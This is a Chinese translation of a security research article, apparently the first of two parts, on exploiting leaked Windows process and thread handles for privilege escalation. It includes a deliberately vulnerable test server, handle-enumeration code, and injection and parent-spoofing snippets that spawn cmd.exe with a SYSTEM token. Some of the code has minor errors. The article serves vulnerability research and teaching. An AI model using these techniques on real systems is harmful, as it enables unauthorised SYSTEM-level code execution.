深入剖析线程与进程句柄泄露漏洞(上)
2019-08-29 10:18:47 Author: www.4hou.com(查看原文) 阅读量:164 收藏

多年来,笔者曾经遇到并利用过一些句柄泄露漏洞。当然,这些过程也特别有趣,因为并不是所有的句柄都被授予了`PROCESS_ALL_ACCESS`或`THREAD_ALL_ACCESS`权限,所以,要想顺利利用,还是要开动脑筋的。在这篇文章中,我们将为读者介绍句柄的各种访问权限,以及如何利用这些权限来实现代码执行。在这里为,我们将重点关注进程和线程句柄,因为这些是最常见的,当然,其他对象的句柄也可以以类似的方式加以利用。 

虽然这种漏洞可能在各种情况下发生,但我遇到的最常见的情形是,当某个特权进程打开一个句柄,并将`bInheritHandle`设置为true时,就会出现该漏洞。一旦发生这种情况,该特权进程的所有子进程都会继承句柄及其授予的所有访问权限。例如,假设一个SYSTEM级的进程执行以下操作:

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

由于它允许继承已经打开的句柄,所以任何子进程都可以访问该句柄。如果它们执行了模拟桌面用户的用户态(userland)代码——像服务经常做的那样,那么这些用户态进程将获得访问该句柄的权限。

已发现的漏洞

下面,我们列举几个已经公开的漏洞实例。例如,James Forshaw[0]在2016年就曾经利用过一个从具有`THREAD_ALL_ACCESS`访问权限的辅助登录服务中泄漏的特权线程的句柄。实际上,这是一种最“常见”的权限,但他却以一种当时我并不了解的新颖方式利用了它。

另一个是来自Ivan Fratric[1] 的例子,他曾经利用过一个被泄漏的、具有`PROCESS_DUP_HANDLE`权限的进程句柄。在他发表的“Bypassing Mitigations by Attacking JIT Server in Microsoft Edge”白皮书中,他指出JIT服务器进程会将内存映射到内容进程(content process)。为此,JIT进程需要用到一个句柄。内容进程将使用`PROCESS_DUP_HANDLE`来调用自身的`DuplicateHandle`,攻击者可以利用这一点来获取具有全部访问权限的句柄。

最近的一个例子是戴尔LPE [2],其中从特权进程获得了一个具有“THREAD_ALL_ACCESS”权限的句柄。攻击者能够通过下载的DLL和APC来利用该漏洞。

搭建测试环境

在这篇文章中,我想考察句柄所有可能的访问权限,以确定哪些权限是可以利用的,哪些权限是无法利用的。对于那些无法利用的权限,我会设法弄清楚需要结合哪些权限,才能正常加以利用。

为了完成相应的测试,我创建了一个简单的客户端和服务器:一个泄漏句柄的特权服务器和一个能够使用它的客户端。下面是服务器的代码:

#include "pch.h"
#include <iostream>
#include <Windows.h>
 
int main(int argc, char **argv)
{
    if (argc <= 1) {
        printf("[-] Please give me a target PID\n");
        return -1;
    }
 
    HANDLE hUserToken, hUserProcess;
    HANDLE hProcess, hThread;
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
 
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
 
    hUserProcess = OpenProcess(PROCESS_QUERY_INFORMATION, false, atoi(argv[1]));
    if (!OpenProcessToken(hUserProcess, TOKEN_ALL_ACCESS, &hUserToken)) {
        printf("[-] Failed to open user process: %d\n", GetLastError());
        CloseHandle(hUserProcess);
        return -1;
    }
 
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
    printf("[+] Process: %x\n", hProcess);
 
    CreateProcessAsUserA(hUserToken,
        "VulnServiceClient.exe",
        NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    SuspendThread(hThread);
    return 0;
}

在上面代码中,我获取了要模拟的令牌的句柄,打开了当前进程(以SYSTEM权限运行)的可继承句柄,然后派生了一个子进程。实际上,这个子进程就是客户端应用程序,它将尝试利用该句柄来完成相应的攻击。

当然,本文更多涉及到的还是客户端。接下来,我们先介绍如何获取泄漏的句柄。实际上,这一步可以通过`ntQuerySystemInformation`来完成,并且无需任何特权:

void ProcessHandles()
{
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    _NtQuerySystemInformation NtQuerySystemInformation =
        (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
    _NtDuplicateObject NtDuplicateObject =
        (_NtDuplicateObject)GetProcAddress(hNtdll, "NtDuplicateObject");
    _NtQueryObject NtQueryObject =
        (_NtQueryObject)GetProcAddress(hNtdll, "NtQueryObject");
    _RtlEqualUnicodeString RtlEqualUnicodeString =
        (_RtlEqualUnicodeString)GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    _RtlInitUnicodeString RtlInitUnicodeString =
        (_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
 
    ULONG handleInfoSize = 0x10000;
    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
    DWORD dwPid = GetCurrentProcessId();
 
    printf("[+] Looking for process handles...\n");
 
    while ((status = NtQuerySystemInformation(
        SystemHandleInformation,
        phHandleInfo,
        handleInfoSize,
        NULL
    )) == STATUS_INFO_LENGTH_MISMATCH)
        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(phHandleInfo, handleInfoSize *= 2);
 
    if (status != STATUS_SUCCESS)
    {
        printf("NtQuerySystemInformation failed!\n");
        return;
    }
 
    printf("[+] Fetched %d handles\n", phHandleInfo->HandleCount);
 
    // iterate handles until we find the privileged process
    for (int i = 0; i < phHandleInfo->HandleCount; ++i)
    {
        SYSTEM_HANDLE handle = phHandleInfo->Handles[i];
        POBJECT_TYPE_INFORMATION objectTypeInfo;
        PVOID objectNameInfo;
        UNICODE_STRING objectName;
        ULONG returnLength;
 
        // Check if this handle belongs to the PID the user specified
        if (handle.ProcessId != dwPid)
            continue;
 
        objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
        if (NtQueryObject(
            (HANDLE)handle.Handle,
            ObjectTypeInformation,
            objectTypeInfo,
            0x1000,
            NULL
        ) != STATUS_SUCCESS)
            continue;
 
        if (handle.GrantedAccess == 0x0012019f)
        {
            free(objectTypeInfo);
            continue;
        }
 
        objectNameInfo = malloc(0x1000);
        if (NtQueryObject(
            (HANDLE)handle.Handle,
            ObjectNameInformation,
            objectNameInfo,
            0x1000,
            &returnLength
        ) != STATUS_SUCCESS)
        {
            objectNameInfo = realloc(objectNameInfo, returnLength);
            if (NtQueryObject(
                (HANDLE)handle.Handle,
                ObjectNameInformation,
                objectNameInfo,
                returnLength,
                NULL
            ) != STATUS_SUCCESS)
            {
                free(objectTypeInfo);
                free(objectNameInfo);
                continue;
            }
        }
 
        // check if we've got a process object; there should only be one, but should we
        // have multiple, this is where we'd perform the checks
        objectName = *(PUNICODE_STRING)objectNameInfo;
        UNICODE_STRING pProcess, pThread;
 
        RtlInitUnicodeString(&pThread, L"Thread");
        RtlInitUnicodeString(&pProcess, L"Process");
        if (RtlEqualUnicodeString(&objectTypeInfo->Name, &pProcess, TRUE) && TARGET == 0) {
            printf("[+] Found process handle (%x)\n", handle.Handle);
            HANDLE hProcess = (HANDLE)handle.Handle;
        }
        else if (RtlEqualUnicodeString(&objectTypeInfo->Name, &pThread, TRUE) && TARGET == 1) {
            printf("[+] Found thread handle (%x)\n", handle.Handle);
            HANDLE hThread = (HANDLE)handle.Handle;
        else
            continue;
 
        free(objectTypeInfo);
        free(objectNameInfo);
    }
}

实际上,我们可以先获取所有系统句柄,然后过滤出我们进程的句柄,接着寻找相应的线程或进程即可。在具有多个线程或进程句柄的客户端进程中,我们需要进一步向下筛选,但这对于测试来说已经足够了。

本文的其余部分将针对进程和线程安全访问权限分别进行讨论。

进程的访问权限

实际上,特定于进程的权限大约有14个[3]。现在,我们将忽略标准对象访问权限(如DELETE、READ_CONTROL等),因为它们更多地应用于句柄本身,而非应用于句柄所能做的事情上面。

首先,我们将忽略以下权限:

PROCESS_QUERY_INFORMATION
PROCESS_QUERY_LIMITED_INFORMATION
PROCESS_SUSPEND_RESUME
PROCESS_TERMINATE
PROCESS_SET_QUOTA
PROCESS_VM_OPERATION
PROCESS_VM_READ
SYNCHRONIZE

需要说明的是,上述访问权限只是很难单独加以利用;当然,与其他权限一起使用时,它们也非常有用。此外,在某些特殊情况下,其中某些权限可能是有用的(例如PROCESS_TERMINATE),但是正常情况下,是很难加以利用的。

下面是需要考察的访问权限:

PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_SET_INFORMATION
PROCESS_VM_WRITE

接下来,我们将逐个加以考察。

PROCESS_ALL_ACCESS

最明显的是,这一个可以赋予我们所有的权限。我们可以简单地分配内存并创建一个线程来实现代码执行:

char payload[] = "\xcc\xcc";
LPVOID lpBuf = VirtualAllocEx(hProcess, NULL, 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, lpBuf, payload, 2, NULL);
CreateRemoteThread(hProcess, NULL, 0, lpBuf, 0, 0, NULL);

所以,这个就没有什么好说的了。

PROCESS_CREATE_PROCESS

这个权限是“创建进程时所必需的”,也就是说,有了它我们就可以创建子进程了。若要远程执行该操作的话,我们只需要生成一个进程,并将其父进程设置为我们可以从那里获得句柄的特权进程。这样的话,就可以创建新进程并继承其父令牌,而该令牌则有望成为SYSTEM令牌。

具体操作如下所示:

STARTUPINFOEXA sinfo = { sizeof(sinfo) };
PROCESS_INFORMATION pinfo;
LPPROC_THREAD_ATTRIBUTE_LIST ptList = NULL;
SIZE_T bytes;
 
sinfo.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &bytes);
ptList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(bytes);
InitializeProcThreadAttributeList(ptList, 1, 0, &bytes);
 
UpdateProcThreadAttribute(ptList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hPrivProc, sizeof(HANDLE), NULL, NULL);
sinfo.lpAttributeList = ptList;
 
CreateProcessA("cmd.exe", (LPSTR)"cmd.exe /c calc.exe",
        NULL, NULL, TRUE,
        EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
        &sinfo.StartupInfo, &pinfo);

这样,我们就能运行一个具有特权令牌的calc进程了。显然,我们想要用更有用的东西取而代之!

PROCESS_CREATE_THREAD

现在,我们已经可以使用`CreateRemoteThread`了,但无法控制目标进程中的任何内存。当然,在没有直接写访问权限的情况下,我们也可以影响内存,但我们仍无法解析这些地址。然而,事实证明,我们根本就不需要控制这些内存。这是因为`CreateRemoteThread`可以指向一个带有单个参数的函数,这就赋予了我们很多的控制权。此外,`LoadLibraryA`和`WinExec`都是执行子进程或加载任意代码的理想选择。

例如,msvcrt.dll中有一个位于偏移量0x503b8处的ANSI`cmd.exe`。我们可以将它作为参数传递给`CreateRemoteThread`,从而触发一个`WinExec`调用来弹出一个shell:

DWORD dwCmd = (GetModuleBaseAddress(GetCurrentProcessId(), L"msvcrt.dll") + 0x503b8);
HANDLE hThread = CreateRemoteThread(hPrivProc, NULL, 0,
                        (LPTHREAD_START_ROUTINE)WinExec,
                        (LPVOID)dwCmd,
                        0, NULL);

当然,我们也可以为`LoadLibraryA`做类似的事情。当然,这取决于系统路径中是否包含用户可写的目录。

PROCESS_DUP_HANDLE

Microsoft在官方发布的进程安全和访问权限相关文档中明确指出,这是一项非常敏感的权限。通过它,我们可以简单地使用`PROCESS_ALL_ACCESS`复制我们的进程句柄,并赋予我们对其地址空间完整的RW权限。根据Ivan Fratric的JIT漏洞的介绍,这个过程非常简单:

HANDLE hDup = INVALID_HANDLE_VALUE;
DuplicateHandle(hPrivProc, GetCurrentProcess(), GetCurrentProcess(), &hDup, PROCESS_ALL_ACCESS, 0, 0)

现在,我们就可以在满足WriteProcessMemory/CreateRemoteThread策略的情况下来执行任意代码了。

PROCESS_SET_INFORMATION

获取该权限后,不仅有权执行`SetInformationProcess`,还能访问`NtSetInformationProcess`的多个字段。实际上,后者的功能要强大得多,但许多可用的`PROCESSINFOCLASS`字段要么是只读的,要么需要具有额外的权限才能进行设置(例如具有`SeDebugPrivilege`权限后,才能设置`ProcessExceptionPort`和`ProcessInstrumentationCallback`(win7))。关于这个类及其成员的最新定义,请参阅Process Hacker [15]。

对于各个可用的标志而言,单独使用并没多大的威力,但是,添加`PROCESS_VM_ *`权限后,它们就具有很大的利用价值了。

(未完待续)


文章来源: https://www.4hou.com/vulnerable/19925.html
如有侵权请联系:admin#unsafe.sh